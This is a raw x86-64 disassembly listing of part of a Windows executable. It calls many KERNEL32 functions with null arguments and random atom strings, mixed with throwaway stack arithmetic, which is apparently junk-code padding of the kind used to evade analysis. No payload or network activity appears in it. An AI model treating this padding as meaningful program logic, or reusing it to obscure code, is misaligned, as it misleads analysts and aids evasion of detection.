mov rcx, qword [rsp + 0xb1b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4cb0], eax
mov dword [rsp + 0x22740], 0x11c
mov rax, qword [rsp + 0x9c48]
mov rcx, qword [rsp + 0x9cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14022fbe0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0xaff8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b40]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9a70]
mov byte [rcx], al
lea rcx, [rsp + 0x1ac18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
lea rcx, str.Y_Pe8BwB
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x15b0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movzx eax, word [rsp + 0x1030]
movzx ecx, word [rsp + 0xfb0]
and eax, ecx
mov word [rsp + 0xb10], ax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x22080]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4dc0], eax
mov edx, 0x190e
mov rcx, qword [rsp + 0xa100]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4fe4], eax
mov rax, qword [rsp + 0xa1c8]
mov rax, qword [rax]
imul rax, qword [rsp + 0xb848]
mov rcx, qword [rsp + 0xa5f0]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
mov rax, qword [rsp + 0x9688]
mov rcx, qword [rsp + 0x89c8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa728]
mov qword [rcx], rax
mov eax, dword [rsp + 0x423c]
mov dword [rsp + 0x4fe8], eax
movsx eax, byte [rsp + 0x25a]
movsx ecx, byte [rsp + 0x1cf]
sub eax, ecx
mov rcx, qword [rsp + 0x9d40]
mov byte [rcx], al
mov edx, 0x26c5
mov rcx, qword [rsp + 0xae08]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a74], eax
movzx eax, word [rsp + 0xd44]
mov word [rsp + 0x15b4], ax
movzx eax, word [rsp + 0x10e8]
movzx ecx, word [0x14022fbb0]
add eax, ecx
mov word [rsp + 0x115c], ax
movzx eax, byte [rsp + 0x28f]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14022fb83], al
movzx ecx, word [rsp + 0xf7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x15b8], ax
mov eax, dword [rsp + 0x464c]
movzx ecx, al
mov eax, dword [rsp + 0x40d4]
shr eax, cl
mov rcx, qword [rsp + 0x98a8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0xb828]
movzx ecx, al
mov rax, qword [rsp + 0xb3b8]
shl rax, cl
mov qword [rsp + 0x8250], rax
lea rdx, [rsp + 0xbc50]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c5c], eax
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0xb080]
mov rcx, qword [rsp + 0x9fd0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9720]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa800], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, str.LCV_Mgt_Bo9wTmE_3
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1510], ax
lea rcx, [rsp + 0x1a888]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
movzx eax, byte [rsp + 0x2c1]
mov byte [rsp + 0x2ea], al
movsx eax, word [0x14024f3bc]
cdq
sub eax, edx
sar eax, 1
mov word [rsp + 0x1000], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x237]
movsx ecx, byte [rsp + 0x1fc]
or eax, ecx
mov byte [rsp + 0xe1], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
movzx ecx, word [rsp + 0x14b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf34], ax
lea rax, [rsp + 0x4a08]
mov qword [rsp + 0xbc58], rax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x210c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4fec], eax
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
imul eax, eax, 0xbf3
mov word [rsp + 0x11d0], ax
lea rcx, [rsp + 0x9808]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x21660]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4dfc], eax
movzx ecx, word [rsp + 0xf44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x15bc], ax
mov rax, qword [rsp + 0xb0b0]
mov rcx, qword [rsp + 0x9ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14022fb74], eax
mov rax, qword [rsp + 0xba78]
mov rcx, qword [rsp + 0x7af8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7d60], rax
mov r9d, 0xce7
xor r8d, r8d
lea rdx, [rsp + 0xb970]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4bc8], eax
mov rax, qword [rsp + 0x9708]
mov rcx, qword [rsp + 0xa198]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8658], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xbc60], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0xbc20]
movzx eax, word [rax]
mov rcx, qword [0x14024f130]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb730]
mov word [rcx], ax
lea rax, [rsp + 0x2c6]
mov qword [rsp + 0xbc68], rax
lea rcx, [rsp + 0xabe8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xb638]
mov ecx, dword [rsp + 0x48b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4268], eax
lea rax, [rsp + 0x237]
mov qword [rsp + 0xbc70], rax
lea rdx, [rsp + 0xbc78]
mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c8c], eax
mov rcx, qword [rsp + 0x9938]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov r9d, 2
lea r8, [rsp + 0x9ca8]
mov rdx, qword [rsp + 0xa758]
mov rcx, qword [rsp + 0x96c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4e64], eax
lea rcx, [rsp + 0xbc80]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xb518]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d90]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb2c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x93b8]
mov eax, dword [rax]
mov dword [rsp + 0x4ff0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3ae1
mov r9d, 0x3cf7
mov r8d, 0x33937a66
mov edx, 1
mov rcx, qword [rsp + 0xa768]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4aec], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d68], rax
lea rax, [rsp + 0x20e]
mov qword [0x14024f030], rax
mov r9d, 0xf1a
xor r8d, r8d
lea rdx, [rsp + 0x9570]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a14], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.t7f7xAVjCZ9xTwN_n6w9eRbDA1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbc88], rax
mov rcx, qword [rsp + 0x99d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4fd8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xac10], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbc90], rax
mov rcx, qword [rsp + 0x9ef0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x1abb8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov r9d, 2
lea r8, [rsp + 0xbb58]
mov rdx, qword [rsp + 0xaeb0]
mov rcx, qword [rsp + 0xb1b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ff4], eax
movzx eax, word [rsp + 0x1200]
movzx ecx, word [rsp + 0x6fc]
and eax, ecx
mov word [rsp + 0x1050], ax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0x98a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9d98]
mov dword [rcx], eax
lea rax, [rsp + 0x7e20]
mov qword [rsp + 0xbc98], rax
mov rax, qword [rsp + 0xbac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8318]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8328], rax
mov dword [rsp + 0x20], 0x2fd
mov r9d, 0x28ba
mov r8d, 0x139
mov edx, 0x1b3f
mov rcx, qword [rsp + 0xb9f0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4958], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xade0], rax
lea rcx, str.Nunh_TIVSYt
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x15c0], ax
lea rdx, [rsp + 0xba28]
mov rcx, qword [rsp + 0xa328]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a00], eax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x21660]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4ff8], eax
mov eax, dword [rsp + 0x4af4]
mov dword [rsp + 0x4ffc], eax
xor r9d, r9d
lea r8, [rsp + 0xa710]
mov rdx, qword [rsp + 0xa110]
mov rcx, qword [rsp + 0xa970]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4f80], eax
lea rcx, str.eW_Ciu_Rd2K
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x15c4], ax
mov rcx, qword [rsp + 0xb458]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb8c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb790]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb1e8]
mov byte [rcx], al
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x20b20]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x498c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov dword [rsp + 0x22860], 0x11c
movsx eax, word [rsp + 0x11e0]
mov rcx, qword [rsp + 0xb0a0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1544], ax
mov rcx, qword [rsp + 0xaaf0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0xad10]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b10], eax
mov rax, qword [rsp + 0xa988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43a8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4068], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x2cf]
cdq
mov ecx, 0x2c
idiv ecx
mov byte [0x14024f0ca], al
movzx ecx, word [rsp + 0x124c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1028], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rcx, qword [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x5000], eax
mov rax, qword [rsp + 0xbb30]
mov rcx, qword [rsp + 0x9560]
mov qword [rsp + 0xbca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbca0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x9008]
mov qword [rcx], rax
movzx eax, word [rsp + 0xfa4]
mov word [rsp + 0x15c8], ax
mov rax, qword [rsp + 0xa698]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1d0]
mov qword [rsp + 0xbca8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbca8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9978], rax
mov rax, qword [rsp + 0x9c58]
mov rcx, qword [rsp + 0xa2c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4fa4], eax
mov edx, 0x991
mov rcx, qword [rsp + 0xae68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4e74], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cf0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x4c04]
imul eax, dword [rsp + 0x3e3c]
mov dword [rsp + 0x3f20], eax
mov r9d, 0x1a12
xor r8d, r8d
lea rdx, [rsp + 0x99f8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4bcc], eax
mov rax, qword [rsp + 0xa600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9e00]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x283], al
movzx eax, word [rsp + 0xc08]
mov word [rsp + 0x15cc], ax
lea rcx, [rsp + 0xb8f0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx ecx, word [rsp + 0x12d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x15d0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xb780]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2da]
sub eax, ecx
mov byte [rsp + 0x2ad], al
movzx eax, word [rsp + 0x10a4]
mov word [0x14024f028], ax
mov rax, qword [rsp + 0xa9e8]
mov rcx, qword [rsp + 0xaec0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9010]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9660]
movzx eax, word [rax]
mov word [rsp + 0x15d4], ax
mov rax, qword [0x14024f368]
mov rcx, qword [rsp + 0xa988]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3e24], eax
movzx ecx, word [rsp + 0x11d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1100], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbcb0], rax
mov rax, qword [rsp + 0x99e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x214]
add eax, ecx
mov byte [rsp + 0xe2], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb788], rax
lea rcx, [rsp + 0x1a738]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa478]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb6c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2b0], al
mov rax, qword [rsp + 0x98b0]
movzx eax, word [rax]
mov word [rsp + 0x15d8], ax
xor r9d, r9d
lea r8, [rsp + 0xae10]
mov rdx, qword [rsp + 0xbcb8]
mov rcx, qword [rsp + 0xba08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4afc], eax
mov rax, qword [rsp + 0x8e00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4988]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x93e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7be8]
mov rcx, qword [rsp + 0x97b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbaa8], rax
movzx ecx, word [rsp + 0xf1c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x137c], ax
mov rcx, qword [rsp + 0xa590]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x5004], eax
movzx ecx, word [rsp + 0x1298]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10d4], ax
lea rax, [rsp + 0x4f38]
mov qword [rsp + 0xbcc0], rax
lea rdx, [rsp + 0xbcc8]
mov rcx, qword [rsp + 0xb110]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4f78], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb620]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [0x14024f0e8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9ad8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
movzx ecx, word [rsp + 0x1078]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14ec], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbcd0], rax
movzx eax, word [0x14024f268]
movzx ecx, word [rsp + 0xf80]
or eax, ecx
mov rcx, qword [rsp + 0x9858]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rcx, qword [rsp + 0xbb28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4c1c], eax
mov rax, qword [rsp + 0xa470]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9868]
mov qword [rsp + 0xbcd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbcd8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7a88], rax
mov rax, qword [rsp + 0xb530]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb4c8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa8e8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xdd4], ax
movzx eax, byte [rsp + 0x2cd]
mov byte [rsp + 0x2eb], al
mov eax, dword [rsp + 0x4c04]
mov ecx, dword [rsp + 0x4744]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab90]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xa370]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x1ad98]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 0xcf8
xor r8d, r8d
lea rdx, [rsp + 0xaec8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a94], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbce0], rax
lea rcx, [rsp + 0xbac8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov edx, 0xac6
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49e4], eax
lea rcx, str.Dz_RZoxUYyF
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x155c], ax
mov rax, qword [rsp + 0xb0f8]
movzx eax, word [rax]
mov word [rsp + 0x15dc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb788], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov dword [rsp + 0x20], 0x2861
mov r9d, 0x1909
mov r8d, 0x1d4d
mov edx, 0x1e70
mov rcx, qword [rsp + 0x9c08]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4d50], eax
mov dword [rsp + 0x22980], 0x11c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb9b8], rax
mov rax, qword [rsp + 0xa868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4124], eax
movzx ecx, word [rsp + 0x1024]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12b8], ax
mov rcx, qword [rsp + 0xa440]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x5008], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa690], rax
mov rcx, qword [rsp + 0x99d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
lea rax, [rsp + 0x28c]
mov qword [0x14024f020], rax
mov rax, qword [rsp + 0x9de8]
mov rcx, qword [rsp + 0x88c8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x97c8]
mov qword [rcx], rax
lea rcx, str.RsZb_yh2_vC_BPWrk9
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x15e0], ax
lea rdx, [rsp + 0x9740]
mov rcx, qword [rsp + 0x9f30]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x46fc], eax
mov rax, qword [rsp + 0x82e8]
mov rcx, qword [rsp + 0x9b50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8168], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rcx, qword [rsp + 0x99d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4c7c], eax
mov rax, qword [0x14024f2a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c20]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2bc], al
mov rax, qword [rsp + 0x9f10]
movzx eax, word [rax]
mov word [rsp + 0x15e4], ax
mov rax, qword [rsp + 0xb1f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c34], eax
lea rax, [rsp + 0xb108]
mov qword [rsp + 0xbce8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov dword [rsp + 0x22aa0], 0x11c
movsx eax, byte [rsp + 0x2eb]
mov rcx, qword [rsp + 0xa450]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x109], al
lea rcx, [rsp + 0x1a4c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0x9ea0]
mov rcx, qword [rsp + 0x9c68]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c8c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa4a8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d88], rax
movzx eax, word [rsp + 0x157c]
mov rcx, qword [rsp + 0x8e58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1038], ax
mov dword [rsp + 0x20], 0x2fbe
mov r9d, 0x10e5
mov r8d, 0x1aee
mov edx, 0xa7e
mov rcx, qword [rsp + 0x9c68]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4de0], eax
movzx eax, word [rsp + 0x11d4]
movzx ecx, word [rsp + 0x157c]
add eax, ecx
mov word [0x14024f208], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbcf0], rax
lea rcx, [rsp + 0x9c28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x2cb]
mov qword [rsp + 0xbcf8], rax
mov rax, qword [rsp + 0xa8f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4070]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa2c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x47d0]
mov ecx, dword [rsp + 0x48cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4078], eax
movzx ecx, word [rsp + 0x12b8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1100], ax
mov eax, dword [rsp + 0x49f0]
movzx ecx, al
mov eax, dword [rsp + 0x4b8c]
sar eax, cl
mov dword [rsp + 0x42d4], eax
mov rax, qword [rsp + 0xb7f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xab30]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x650], ax
lea rcx, str.rM4MGd
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x15e8], ax
movzx eax, byte [rsp + 0x78]
mov byte [rsp + 0x2ec], al
movzx eax, word [rsp + 0x12ac]
mov rcx, qword [rsp + 0xb128]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x12c4], ax
xor r9d, r9d
lea r8, [rsp + 0xacd8]
mov rdx, qword [rsp + 0xbb58]
mov rcx, qword [rsp + 0xb840]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a64], eax
lea rdx, [rsp + 0x9f88]
mov rcx, qword [rsp + 0x9798]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x500c], eax
